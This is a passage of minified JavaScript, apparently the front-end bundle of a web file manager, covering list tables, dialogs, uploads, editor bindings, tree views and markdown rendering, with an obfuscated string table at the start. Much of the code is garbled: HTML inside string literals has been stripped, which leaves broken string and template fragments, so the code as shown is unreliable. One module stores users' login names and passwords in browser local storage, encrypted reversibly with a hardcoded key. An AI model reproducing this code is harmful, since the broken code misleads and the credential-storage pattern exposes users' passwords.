W==","WPhcR8kiW7qWEq==","F8kbW5WTW48=","WR1vdd0e","WRCoCq==","eSkFa8oNW7i=","nSk9W6uChq==","W5xcSw/dVXy=","WPhcTCoKWR12WOOoWPFcStLxW6i=","eCkuWRuSfW0vyg8=","sSodWOvGWRC=","hanbW6/cTW==","WOddQ8oPWP/cQW==","wLldUaXiWQhcLW==","W7HNASkhiG==","n8k4WOFcNG==","qSk/WPuVBa==","DmklemkAWQP7mublzc0o"];o=s,function(e){for(;--e;)o["push"](o["shift"]())}(155);var p,i={},r=(i[(p=function p(e,t){var h,i=s[e=+e],n=(p["UXHQHV"]===undefined&&(h=function h(e){for(var t,i,n=String(e)["replace"](/=+$/,""),o="",a=0,s=0;i=n["charAt"](s++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="["indexOf"](i);return o},p["hGDfeV"]=function u(e,t){for(var i,n=[],o=0,a="",s="",r=0,c=(e=h(e))["length"];r',r+=' '),t+=''+n.title+r+"
",i[n.field+"_@_"+e]=n}var c=''+t+"
";this.columns=i,this.target.find(".content .list-table").html(c)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum},t=this.config.order,n=(t&&(e.sortField=isNaN(parseInt(t[0]))?t[0]:this.config.items[t[0]].field,e.sortType=t[1]),this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue),this),o=Tips.loadingMask(this.target);Object.assign(e,this.config.data),this.config.request(e,function(e){o.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(t){if(this.target){var e,i="",r=(t!=undefined&&Object.keys(t).length||(i+=''+LNG["explorer.noData"]+"
"),function r(e,t,i){var n,o={},a=(_.get(e,"attr.formatter")&&(o=e.attr.formatter(i)),$.objClone(e)),s=(a.attr=a.attr||{},a.attr=$.extend({},a.attr,o),_.unset(a.attr,"formatter"),[]);for(n in a.attr["class"]="list-"+t+(a.attr["class"]?" "+a.attr["class"]:""),a.attr)s.push(n+'="'+a.attr[n]+'"');return s.join(" ")}),n=this.columns;for(e in t=_.filter(t)){var o,a="",s=t[e];for(o in n){var c=o.split("_@_")[0],l=s[c],d=n[o];_.isFunction(n[o].formatter)&&(l=n[o].formatter(l,e,t)),a+="'+l+"
"}i+=""+a+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(i),h.find(".list-row:not(.title)").each(function(e){$(this).addClass("row-content"),$(this).data("rowItem",t[e])}),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())?this.target.find(".toolbar").hide():this.target.find(".toolbar").show(),this.target.find(".table-empty-info").length?this.target.find(".footerbar .list-page").hide():this.target.find(".footerbar .list-page").show()}},"getRowData":function(e){return!(!e||!e.hasClass("row-content"))&&e.data("rowItem")},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.explorerRoot=e.explorerRoot,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"","{source:home}"==this.pathOpen&&(this.pathOpen=""),this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=a(29),i=this.renderHtml(i,{},!1),n=this.dialogPosition(),o=UUID(),n={"padding":0,"fixed":!0,"width":n.width,"height":n.height,"resize":!0,"ico":"","title":"file","content":i,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize"),t.trigger("file.continer.resize")}};(n=$.extend(!0,n,e)).className=o+" explorer-dialog-open "+e.className,this.dialog=$.dialog(n),this.$el=$("."+o+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();i=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+i+"px","top":"+="+i+"px"}),this.bindResize(),$("body").attr("kod-lang",G.lang||"")},"bindNotifyExplorer":function(){var t=this,i=(this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){t=this.pathData.pathAddress(t);this.dialog.title(t.icon+t.name)}}),this.dialog.$main);i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.$el&&t.focus()})}),this.pathFile&&this.pathAction.openFatherSelect(this.pathFile,!1)},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"bindResize":function(){var t=this.dialog.$main,i=function i(){var e=t.width()<600;t[e?"addClass":"removeClass"]("app-wap-small")};i=_.debounce(_.bind(i,this),50),this.bind("viewResize",i),i()},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(28),n=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){},"fileSave":function(e,t,i,n){this.upload(e,"",i,{"uploadApi":this.uploadApi(),"postParam":{"fileSave":"1","fileInfo":"1"},"tipsID":n||"","tipsLoading":LNG["explorer.saving"],"tipsError":LNG["explorer.saveError"],"tipsSuccess":LNG["explorer.saveSuccess"],"uploadTo":t})},"uploadApi":function(){return this.pathModel&&this.pathModel.urlMake?this.pathModel.urlMake("upload"):API_URL("explorer/upload/fileUpload")},"upload":function(e,t,i,n){!t&&e instanceof window.File&&(t=e.name);var o={"uploadApi":API_URL("explorer/attachment/upload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)};$.extend(!0,o,n||{}),this.uploadParse(e,o,i,t)},"uploadFile":function(e,t,i){var n={"uploadApi":this.uploadApi(),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)};$.extend(!0,n,t||{}),this.uploadParse(e,n,i)},"uploadParse":function(o,a,e,t){var s,i=new n["default"]({"parent":this,"paramData":a}),r=function r(){i.uploadContent(o,t)};return this.uploadViewEvent(i,e),$.browserIS.mobile&&a.postParam?_.isString(o)?(e=new Blob([o],{"type":"text/plain"}),a.postParam.base64Upload="1",a.postParam.base64str=base64Encode(o),a.postParam.size=e.size,r()):o instanceof window.Blob?((s=new FileReader).readAsDataURL(o),s.onload=function(e){var t=s.result,i="base64,",n=t.indexOf(i);0<=n&&(t=t.substr(n+i.length)),a.postParam.base64Upload="1",a.postParam.base64str=t,a.postParam.size=o.size,r()}):r():r()},"uploadViewEvent":function(c,t){var e=this,i=[],n=!1,l=c.paramData.tipsLoading||LNG["explorer.uploading"],o=c.paramData.tipsError||LNG["explorer.upload.error"],a=c.paramData.tipsSuccess||LNG["explorer.upload.success"],s="uploadView"+UUID(),d=!(this[s]=c).paramData.single,h=Tips.notify({"id":c.paramData.tipsID||"","title":l,"delayClose":1500,"icon":" ri-upload-fill-2","process":{"process":0},"onClose":function(){c.objectRemove(),delete e[s]}}),r=function r(){var e;d&&(e=c.uploader.getStatus(),e=a+" "+e.success+"/"+e.total,h.icon("success").title(e).processHide().close()),t&&t(i)};this.listenTo(c,{"itemUploadProcess":function(e,t){var i=pathTools.fileSize,n=c.uploader.transfer||{},o=n.needTime?"; "+LNG["explorer.upload.needTime"]+" "+n.needTime:"",o=n.speed+o,a=(100*n.percent).toFixed(1)+"%",i=i(n.sizeTotal*n.percent)+"/"+i(n.sizeTotal),s="",r=(d&&(s=" "+((r=c.uploader.getStatus()).success+1)+"/"+r.total),"md5Read"==e.uploadPercentType?(r=(100*e.percentMd5).toFixed(1),o=LNG["explorer.upload.scan"]+" "+r+"%"):1==e.percent&&(o=LNG["explorer.upload.merge"]+"..."),'\n\t\t\t\t\n\t\t\t\t\t'+o+' \n\t\t\t\t\t'+i+s+" \n\t\t\t\t
");h.title(l+a).process({"process":n.percent,"text":r})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":o,"icon":"error","delay":2e3}):h.title(o).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(a).close()),n&&r()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=o+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!c.uploader.getStatus().finished)return n=!0;r()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(s,r,c){var i,l=this,e=s.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((c=c||{}).postParam=c.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",c.allowAllFiles?(e.type||1').appendTo(c),c.find(".editor-full-screen").bind("click",function(){c.toggleClass("ace-editor-full"),e.resize(),e.focus()}),e.commands.addCommand({"name":"escFull","bindKey":"Esc","exec":function(e){c.removeClass("ace-editor-full"),e.resize(),e.focus()}})},"bindEditorEvent":function(e){var i=this;this.editorChange=_.debounce(_.bind(this.editorChange,this),50),this.cursorChange=_.debounce(_.bind(this.cursorChange,this),10),e.commands.addCommand({"name":"preview","bindKey":{"win":"Ctrl-alt-G","mac":"Ctrl-command-G"},"exec":function(e,t){t.findAll(t.session.getTextRange()),i.cursorChange(t)}}),e.on("change",function(e,t){i.editorChange(t)}),e.on("changeSelection",function(e,t){i.cursorChange(t)}),e.commands.addCommand({"name":"showKeyboardShortcuts","bindKey":{"win":"Ctrl-Alt-h","mac":"Command-Alt-h"},"exec":function(t){ace.config.loadModule("ace/ext/keybinding_menu",function(e){e.init(t),t.showKeyboardShortcuts()})}}),e.commands.addCommand({"name":"aceEditorSave","bindKey":{"win":"Ctrl-s","mac":"Command-s"},"exec":function(e){$(e.container).trigger("aceEditorSave")}}),e.commands.addCommand({"name":"convertUpper","bindKey":{"win":"Ctrl-U","mac":"Command-U"},"exec":function(e){e.toUpperCase()}}),e.commands.addCommand({"name":"convertLower","bindKey":{"win":"Ctrl-Shift-U","mac":"Command-Shift-U"},"exec":function(e){e.toLowerCase()}}),e.commands.addCommand({"name":"phpBeautify","bindKey":{"win":"Ctrl-Shift-B","mac":"Command-Shift-B"},"exec":function(t){ace.config.loadModule("ace/ext/beautify",function(e){e.beautify(t.session)})}}),this.editorMobileBind(e),e.insertRangeWith=_.bind(this.insertRangeWith,e),e.toUpperCase=function(){this.insertRangeWith(function(e){return e.toUpperCase()})},e.toLowerCase=function(){this.insertRangeWith(function(e){return e.toLowerCase()})},$(e.container).find(".ace_text-layer").bind("click",function(){e.$isFocused||e.focus()}),this.bind("onRemove",function(){this.destoryEditor(e)})},"destoryEditor":function(i){i.renderer&&(i.destroy(),i.container.remove(),_.each(i,function(e,t){delete i[t]}))},"insertRangeWith":function(o){var a=this,e=a.session.selection.ranges;_.isEmpty(e)&&(a.selection.isEmpty()&&a.selection.selectWord(),e=[a.getSelectionRange()]),_.each(e,function(e){var t=a.session.getTextRange(e)||"",t=o(t);if(t)try{var i=e.clone();i.end=a.session.replace(e,t),a.selection.addRange(i)}catch(n){}})},"editorMobileBind":function(e){var t;$.browserIS.ios&&$.isWindowTouch()&&(t=$(e.container).find(".ace_text-input"),$.setStyle(".ace_editor .ace_text-input{\n\t\t\topacity:0.05 !important;\n\t transform:none !important;\n\t width: 30px !important;\n\t height:20px !important;\n\t z-index:10 !important;\n\t\t}","ace-editor-mobile-ios"),e.getOption("readOnly"))&&t.addClass("hidden").attr("disabled","disabled")},"cursorChange":function(e){e&&this.trigger("editor.cursorChange",e)},"editorChange":function(e){e&&(e.$formMakerInput||(e.$formMakerInput=$(e.container).prev(),e.$formMakerInput.is("input"))||(e.$formMakerInput="notForm"),"notForm"!=e.$formMakerInput&&$(e.$formMakerInput).trigger("change"),this.trigger("editor.change",e))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var o="2&$%@(*@(djfhj1923",n="kodLoginAccount",a="kodAccountInfo",s={"set":function(e,t){e={"name":authCrypt.encode(e,o),"password":authCrypt.encode(t,o)};LocalData.set(n,jsonEncode(e))},"clear":function(){LocalData.del(n)},"get":function(){var e,t,i=LocalData.get(n);return!!i&&!!((i=jsonDecode(i))&&i.name&&i.password&&(e=authCrypt.decode(i.name,o),t=authCrypt.decode(i.password,o),e)&&t)&&{"name":e,"password":t}},"getAccount":function(){var e=LocalData.get(a)||"";return!!e&&(e=authCrypt.decode(e,md5(o+a))||"",jsonDecode(e))},"autoSet":function(e,t,i){var n=jsonEncode({"name":e,"password":t}),n=authCrypt.encode(n,md5(o+a));LocalData.set(a,n),"1"==i?this.set(e,t):this.clear()},"encryPassword":function(e){var t=roundString(5);return t+authCrypt.encode(e,t+o)},"decryPassword":function(e){var t=e.substr(0,5);return authCrypt.decode(e.substr(5),t+o)}};Events.bind("user.loginInfo",function(e){var t;_.isObject(e)&&e.name&&e.sign&&e.name==authCrypt.decode(e.sign,base64Encode(e.name))&&(t=s.get())&&t.name==e.name&&(e.password=t.password)}),t["default"]=s},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});i=i(10);t["default"]=i.ExplorerDialog.extend({"explorerApi":!0,"init":function(e){this.initDialogView(e),this.initCommon(e),this.disableStoreValue(),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"",this.bindExplorerApi(),this.filterParseOption()},"initDialogView":function(e){var t=this,i={"type":"file","createFile":{"name":"newfile.txt","fileRepeat":"rename","content":"","base64":!1},"single":!0,"allowExt":"","pathOpen":"","pathTree":"","makeUrl":!1,"authCheck":"write","pathCheck":"","filter":"","pathCheckAllow":function(){},"callback":function n(){},"title":"","viewOption":!1,"cancel":!0,"lock":!0,"background":"#000","opacity":.2,"width":900,"height":500,"className":UUID()+" pathSelectApi ","ok":function(){return t.selectConfirm(),!1}},n=("file"!=(i=$.extend(!0,i,e)).type&&(i.allowExt=""),i.callback);i.callback=function(){n.apply(i,arguments),t.dialog.close()},this.param=e,this.options=$.objClone(i),this.initParam=this.options,i.title=e.title||this.defaultTitle(),this.initDialog(i),this.initApiView()},"initApiView":function(){this.$dialog=this.dialog.$main,this.$el=this.$dialog.find(".aui-content");var e=' \n\t\t\t'+this.initParam.allowExt+" \n\t\t
",t=this.$dialog.find(".aui-buttons");t.addClass("btn-actions"),t.parent().addClass("explorer-select-footer"),$(e).insertAfter(t),this.createFileView()},"createFileView":function(){var e,t,i,n,o;"createFile"==this.initParam.type&&(e=this.$dialog.find(".aui-state-highlight"),t=this.$dialog.find(".select-api-input-box input"),i=this.initParam.createFile.name,n=pathTools.pathExt(i),this.initParam.single=!0,t.removeAttr("readonly").val(i),n&&(o=i.length-n.length-1,this._delay(function(){t.textSelect(0,o).focus()},400)),t.keyEnter(function(){return e.hasClass("disable-event")?Tips.tips(LNG["explorer.selectValidFolder"],"warning"):e.trigger("click")}))},"defaultTitle":function(){var e;if(!this.initParam.title)return e=(e={"file":LNG["explorer.selectFile"],"folder":LNG["explorer.selectFolder"],"all":LNG["explorer.selectFolderFile"],"createFile":LNG["explorer.fileSaveTo"],"default":LNG["common.select"]})[this.initParam.type]||e["default"],this.initParam.single||(e+='"('+LNG["explorer.selectMulti"]+';)"'),e},"bindExplorerApi":function(){this.listenTo(this.select,{"select.change":this.selectChange,"select.init":function(){this.disableNotAllow(),this.selectChange()}}),this.pathAction.openFile=_.bind(function(e){var t=this.$dialog.find(".aui-state-highlight");t.hasClass("disable-event")||t.trigger("click")},this)},"disableStoreValue":function(){var e="-explorer-api",t=(this.pageing.storeKey+=e,this.history&&(this.history.storeKey+=e),this.tree&&(this.tree.history.storeKey+=e),this.path.contentView);t.splitResize&&(t.splitResize.storeKey+=e)},"selectResult":[],"resultParse":function(e){var t="name,path,pathDisplay,size,type,ext,createUser,downloadPath".split(",");return e=_.isArray(e)?_.map(e,function(e){return _.pick(e,t)}):_.pick(e,t)},"selectConfirm":function(){var e=this.initParam,t=this.resultParse(this.selectResult);if(!_.isEmpty(t))return"createFile"==e.type?this.callbackCreateFile(t):1==e.makeUrl?this.callbackMakeUrl(t):void e.callback(t,e)},"callbackMakeUrl":function(e){var t=[];this.initParam.single?t.push({"path":e.path}):_.each(e,function(e){t.push({"path":e.path})}),this.callbackPathInfo(t)},"callbackCreateFile":function(t){var i=this,e=this.$dialog.find(".select-api-input-box input"),n=this.initParam.createFile;n.path=_.trimEnd(t.path,"/")+"/"+e.val(),this.pathModel.newFile(n,function(e){if(!e||!e.code)return Tips.tips(e,!1);Events.trigger("path.pathChange",t.path,e),i.callbackPathInfo([{"path":e.info}])})},"callbackPathInfo":function(e){var t=this;this.pathModel.pathInfo({"dataArr":e},function(e){if(!e||!e.code)return Tips.tips(e,!1);e=t.resultParse(e.data);t.initParam.callback(e,t.initParam)})},"checkPathExt":function(e){var t=this.initParam.allowExt||"";return""==(t=t.toLowerCase().replace(/\|/g,",").replace(/\s/g,""))||_.includes(t.split(","),e)},"checkPathAuth":function(e){var t=this.initParam.authCheck,i=this.pathAction.auth;switch(t){case"read":return i.canRead(e);case"write":return i.canWrite(e);default:return!0}},"pathCheckType":function(e,t){switch(t){case"truePath":return e.isTruePath||e.sourceID;case"self":return"user"==e.targetType&&e.targetID==G.user.userID;case"group":return"group"==e.targetType;default:return!0}},"filterParseOption":function(){var e=this.options,t=this.pathAction.pathFilterParse(this.options.filter);t&&((e.filterMap=t).type&&(e.type=t.type),t.ext&&(e.allowExt=t.ext.join(",")),t.parent)&&"notRoot"!=t.parent&&!this.param.pathOpen&&(this.pathOpen="{source:"+t.parent+"}/")},"checkPath":function(e){var t=this.initParam;return!(!e||!this.checkPathAuth(e)||t.filterMap&&!this.pathAction.pathFilterCheck(e,t.filterMap)||t.pathCheck&&!this.pathCheckType(e,t.pathCheck)||t.pathCheckAllow&&!1===t.pathCheckAllow(e)||_.includes(["folder","createFile"],t.type)&&"folder"!=e.type||!("file"!=t.type||"file"==e.type&&this.checkPathExt(e.ext)))},"selectAdd":function(e){return!(this.initParam.single&&1<=this.selectResult.length||!this.checkPath(e)||(this.selectResult.push(e),0))},"selectChange":function(){var t,i=this,n=this.select.fileLight,e=n.listSelect,o=this.path.jsonData;this.selectResult=[],0==e.length?this.selectAdd(o.current):1<=e.length&&(t=[],_.each(e,function(e){i.selectAdd(e)||t.push(e)}),_.each(t,function(e){n.setStatus(e,"select",!1)})),!_.isEmpty(this.selectResult)&&this.initParam.single&&(this.selectResult=this.selectResult[0]),this.changeDialogStatus()},"disableNotAllow":function(){var i=this,e=this.select.fileLight;e.listAllEach(function(e){var t=!1;switch(i.options.type){case"file":t="file"==e.type&&!i.checkPathExt(e.ext);break;case"folder":case"createFile":t="file"==e.type}t&&(e._data.status.disabled=!0)}),e.listReloadView()},"changeDialogStatus":function(){var e=this.$dialog.find(".aui-state-highlight"),t="disable-event";return _.isEmpty(this.selectResult)?(e.addClass(t),this.changeText("")):(e.removeClass(t),this.initParam.single?this.changeText(this.selectResult.name):(t=_.map(this.selectResult,"name").join(", "),e="["+this.selectResult.length+"]"+LNG["common.items"]+";"+t,void this.changeText(e)))},"changeText":function(){var e=0 ",a=e.nickName||e.name||e.nameDisplay||"",e.userID==window.G.user.userID&&(a=LNG["common.me"]),"\n\t\t\t'+o+'\n\t\t\t\t'+a+" \n\t\t\t \n\t\t"):""}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=r(i(422)),o=r(i(423)),a=r(i(424)),s=r(i(425)),i=r(i(426));function r(e){return e&&e.__esModule?e:{"default":e}}n=_.extend(n["default"],o["default"],a["default"],s["default"],i["default"]);t["default"]=ClassBase.extend(n).extend({"nodeDataKey":"_VListnodeData","vlistType":"list","init":function(e){this.initData(e),this.bindEventScroll(),this.reloadViewAll()},"initData":function(n){var i={"$container":$(),"listData":[],"listPadding":{"top":5,"right":2,"bottom":100,"left":2},"screenShow":1.4,"nodeHeight":30,"nodeAutoHeight":!1,"nodeMargin":{"top":0,"left":0,"right":0,"bottom":0},"nodeHeaderMargin":{"top":0,"left":0,"right":0,"bottom":0},"nodeTemplate":"","nodeHeaderHeight":30,"nodeHeaderTemplate":"","nodeHeaderPinTop":!0,"scrollTouch":!1};this._each(i,function(e,t){var i=n.hasOwnProperty(t)?n[t]:e;this[t]=_.isObject(i)&&!$.isDom(i)?_.extend(e,i):i}),this._each(n,function(e,t){i.hasOwnProperty(t)||(this[t]=e)});this.$heightHolder=$('
').appendTo(this.$container),this.reloadViewAll(),this.resize=_.throttle(_.bind(this.resize,this),20),this.bind("onRemove",function(){this.reloadDataClear(),this.$heightHolder.remove()})},"bindEventScroll":function(){var t=this.$container,i=_.bind(this.scrollChange,this);t.bind("scroll",i),t.data("_vListView",this),this.bind("onRemove",function(e){t.unbind("scroll",i)}),this.bindEventScrollTouch()},"renderView":function(e,t){this.reloadData(e),t&&t()},"reloadData":function(e){this.listData=e=e||[{"header":!1,"list":[]}],this.reloadViewAll(!0)},"reloadDataClear":function(){this.listArrShowClear(),this.eachListData(function(e){e._data=!1})},"reloadViewAll":function(e){e&&this.reloadDataClear(),this.resizeSizeInit(),this.reloadDataAll()},"animate":0,"animateSet":function(e){this.animate=0=o)return l(c);var d=o,h=c._data.$node||c._data.$pinHeader;h||(h=(h=$(this.makeHtmlHeader(c))).appendTo(this.$container),(c._data.$pinHeader=h).data(this.nodeDataKey,c)),n&&n!=c&&i<=(c=c._data.height+0)&&(d-=c-i),h.addClass("pin-header"),h.css({"position":"sticky","top":d-o})}},"getItemHeader":function(e){return!!e&&(e._data.isHeader?e:!!(e=this.listData[e._data.groupIndex])&&e.header)},"scrollChange":function(){this.scrollTop=this.$container.scrollTop(),this.reloadView(),this.trigger("onScroll")},"groupShowToggle":function(e,t){var i,e=this.getItemByDom(e);e&&e._data&&(i=this.listData[e._data.groupIndex||0])&&(i.hidden?(i.list=i._listBefore||[],delete i._listBefore):(i._listBefore=i.list||[],i.list=[]),t=t||"group-hidden",i.hidden=!i.hidden,e._data.status[t]=i.hidden,this.reloadViewAll())},"makeHtmlItem":function(e){var t=e._nodeTemplate||this.nodeTemplate;return this.renderHtml(t,e,!1)},"makeHtmlHeader":function(e){var t=e._nodeTemplate||this.nodeHeaderTemplate;return this.renderHtml(t,e,!1)},"setItemStatus":function(e,t,i){this.setStatus(e,t,i)&&this.reloadView()},"setStatus":function(e,t,i){if(!e||!e._data||!t)return!1;var n=e._data.$node;e._data.status[t]=i,n&&(!i&&n.hasClass(t)&&n.removeClass(t),i)&&!n.hasClass(t)&&n.addClass(t)},"getItemByDom":function(e){e=$(e).data(this.nodeDataKey);return!(!e||!e._data)&&e},"getItemStatusByDom":function(e){e=$(e).data(this.nodeDataKey);return e&&e._data&&e._data.status}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,i=i(2),s=(i=i)&&i.__esModule?i:{"default":i};function o(e){return function(){var c=e.apply(this,arguments);return new Promise(function(a,s){return function r(e,t){try{var i=c[e](t),n=i.value}catch(o){return void s(o)}if(!i.done)return Promise.resolve(n).then(function(e){r("next",e)},function(e){r("throw",e)});a(n)}("next")})}}t["default"]=ClassBase.extend({"childMarginLeft":15,"init":function(){},"requestData":function(e,t,i){},"dataFilter":function(e){return e},"treeNodeRenderAfter":function(e){},"initView":(n=o(s["default"].mark(function r(t,i){var n,o,a;return s["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return n="tree-"+roundString(5),o=this,(i=i||this.$el).attr("id",n),a={"async":{"enable":!0},"view":{"showLine":!1,"selectedMulti":!1,"expandSpeed":"fast","dblClickExpand":!1,"addDiyDom":_.bind(this.treeNodeRender,this)},"callback":{}},this.treeSetting=a,this.treeCallback["beforeAsync"]=this.beforeAsync,_.each(this.treeCallback,function(e,t){a.callback[t]=function(){var e=_.toArray(arguments);return o.trigger.apply(o,["tree."+t].concat(e)),o.treeCallback[t].apply(o,e)}}),e.next=10,requirePromise(VENDER_PATH+"zTree.js");case 10:if(this.$el){e.next=12;break}return e.abrupt("return","");case 12:this.defineTreeAsync(),this.requestData(t,function(e){this.initViewFinished(e,a,i,t,n)});case 14:case"end":return e.stop()}},r,this)})),function(e,t){return n.apply(this,arguments)}),"treeNodeRender":function(e,t){var e=$.fn.zTree.getZTreeObj(e).setting.treeObj,i="#"+t.tId+"_",n=e.find(i+"switch").remove(),o=this.childMarginLeft*t.level,o=(e.find(i+"ico").remove(),"\n\t\t\t \n\t\t\t"+n.prop("outerHTML")+'\t\t\t\t\n\t\t\t\n\t\t\t\t \n\t\t\t ');e.find(i+"span").before(o),t.$node=e.find(i+"a").addClass("tree-node"),t.$ico=e.find(i+"my_ico"),t.$span=e.find(i+"span"),t.$node.data("treeNode",t),this.treeNodeRenderAfter(t)},"initViewFinished":function(e,t,i,n,o){if(!this.$el)return"";var a=this.dataFilter(e);this.trigger("initBefore",e,t),$.fn.zTree.init(i,t,a),this.zTree=$.fn.zTree.getZTreeObj(o),this.zTree.rootPath=n,e&&e.code||this.$el.html(''+LNG["explorer.systemError"]+"
"),this.trigger("initAfter",this.zTree)},"defineTreeAsync":function(){$.fn.zTree._z.view.asyncNodeBefore=$.fn.zTree._z.view.asyncNode,$.fn.zTree._z.view.asyncNode=function(e,t,i,n){return e.callback.beforeAsync.apply(this,[e,t,i,n])}},"beforeAsync":function(i,n,o,a){var s,e=$.fn.zTree,r=e.consts.event,c=e._z.view,l=e._z.tools;return!!n&&!(n&&n.isAjaxing||((s=n.$ico).addClass("ico_loading"),n.isAjaxing=!0,this.requestData(n,function(e){s.removeClass("ico_loading"),n.isAjaxing=null,n.zAsync=!0;var t=this.dataFilter(e);_.isEmpty(n.children)||(t=[]),n.isParent=!_.isEmpty(t)||!_.isEmpty(n.children),c.setNodeLineIcos(i,n),this.zTree&&this.zTree.updateNode(n),n.isParent&&c.addNodes(i,n,-1,t,!!o),i.treeObj.trigger(r.ASYNC_SUCCESS,[i.treeId,n,e]),l.apply(a),this.trigger("tree.loadData",n)},function(){s.removeClass("ico_loading"),n.isAjaxing=null,c.setNodeLineIcos(i,n),i.treeObj.trigger(r.ASYNC_ERROR),l.apply(a),this&&this.trigger("tree.loadData",!1)}),0))},"expandAuto":function(e,i,n){var o=this.zTree;if(o){for(var a,s,t=!1,r=(e=_.isString(e)?_.filter(e.split(","),function(e){return e&&"0"!=e}):e).reverse(),c=[],l=0;l.content").offset().top+e.parents(".kodTable>.content").height()-i-s<20)?t.removeClass().addClass("dropdown tpTips"):void t.removeClass().addClass("dropdown btTips")},"make":function(e,t,i){i&&_.isArray(i)||(i=[{"action":"edit","name":LNG["common.edit"]}]);var n="",o=(_.each(i,function(e,t){n+=''+e.name+" "}),""),a=!0,i=!1,s=undefined;try{for(var r,c=t[Symbol.iterator]();!(a=(r=c.next()).done);a=!0){var l=r.value;o+=''+l.name+" "}}catch(d){i=!0,s=d}finally{try{!a&&c["return"]&&c["return"]()}finally{if(i)throw s}}return'\n\t\t\t'+n+'\n
\n
\n
'+LNG["common.action"]+' \n \n
\n
\n
"}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var t,o=function o(e){requireAsync([VENDER_PATH+"markdown/markdown-it.min",VENDER_PATH+"markdown/highlight.min",VENDER_PATH+"markdown/mermaid.min",VENDER_PATH+"markdown/raphael.min",VENDER_PATH+"markdown/abcjs-basic-min",VENDER_PATH+"markdown/plantuml",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css",VENDER_PATH+"markdown/katex/katex.min.js"],function(){window.mermaid&&window.mermaid.initialize({"startOnLoad":!0}),requireAsync([VENDER_PATH+"markdown/flowchart.min"],function(){var t=markdownit({"html":!0,"linkify":!0,"typographer":!0});_.each(m["default"],function(e){t.use.apply(t,e)}),i(t),n=t,e&&e(t)})})},i=function i(e){functionHook(e,"validateLink",!1,function(e,t){if(t[0]&&t[0].match(/^data:image\/\w+;/))return!0})},r=[],c=function c(n,e,t){var o=e.split("\n"),a=[],s=0,e=h(e),e=(_.each(e,function(e,t){var e=e.map[0],i=_.slice(o,s,e).join("\n"),i=l(n,i);a.push(i),s=e}),_.slice(o,s).join("\n"));a.push(l(n,e)),u(a,t),f(t),r=a},l=function l(e,t){var i=_.find(r,["text",t]);return i||{"text":t,"html":""+(i=t==(i=s(e,t))&&"\x3c!--"==i?htmlEncode(i):i)+"
